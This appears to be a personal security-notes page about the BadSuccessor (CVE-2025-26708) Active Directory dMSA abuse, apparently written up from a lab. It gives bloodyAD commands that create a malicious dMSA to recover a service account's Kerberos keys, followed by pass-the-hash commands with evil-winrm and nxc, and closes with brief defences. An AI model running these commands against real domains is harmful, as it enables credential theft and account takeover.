> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/dmsa-badsuccessor-cve-2025-26708.md).

# DMSA BadSuccessor — CVE-2025-26708

### What are DMSAs?

Delegated Managed Service Accounts (DMSAs) are a Windows Server 2025 feature designed to make service account management easier. A DMSA can be configured to "supersede" an existing managed service account via the `msDS-SupersededServiceAccountDN` attribute — meaning it inherits that account's Kerberos keys.

***

### The Vulnerability

CVE-2025-26708 (BadSuccessor) abuses this inheritance mechanism. An attacker who can:

1. Create a DMSA object in AD
2. Set `msDS-SupersededServiceAccountDN` on it

...can point that DMSA at **any** managed service account and inherit its keys — effectively impersonating it completely without touching LSASS.

```
Attacker creates evil-dmsa$
        │
        ▼
Sets msDS-SupersededServiceAccountDN = svc_deploy
        │
        ▼
DC processes succession and issues TGS
        │
        ▼
evil-dmsa$ receives svc_deploy's AES/RC4 keys
        │
        ▼
Attacker can now Pass-the-Hash as svc_deploy
```

### Requirements

* Permission to **create a computer/DMSA object** in a specific OU
* Permission to **write** `msDS-SupersededServiceAccountDN`
* Windows Server 2025 domain controller

These rights are often delegated broadly without awareness of this attack path.

### Executing the Attack

```bash
# bloodyAD with Kerberos ticket
bloodyAD --host dc01.domain.htb -d domain.htb \
  -u ryan.brooks -k ccache=ryan.ccache \
  add badSuccessor evil-dmsa \
  -t 'CN=SVC_DEPLOY,OU=SERVICEACCOUNTS,DC=DOMAIN,DC=HTB' \
  --ou 'OU=DMSAHolder,DC=domain,DC=htb'

# Output includes recovered hashes:
# AES256: e3d23b60dc81697f...
# RC4:    bcffd068cde6897f...   ← use for Pass-the-Hash
```

### Using the Recovered Hash

```bash
# Pass-the-Hash with NT hash
evil-winrm -i dc01.domain.htb -u svc_deploy -H bcffd068cde6897f...

# Or with nxc
nxc smb dc01.domain.htb -u svc_deploy -H bcffd068cde6897f...
```

### Defence

* Patch for CVE-2025-26708
* Restrict who can create DMSAs and write `msDS-SupersededServiceAccountDN`
* Audit all DMSA objects for unexpected `msDS-SupersededServiceAccountDN` values
* Use BloodHound to map who has DMSA creation rights


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/dmsa-badsuccessor-cve-2025-26708.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.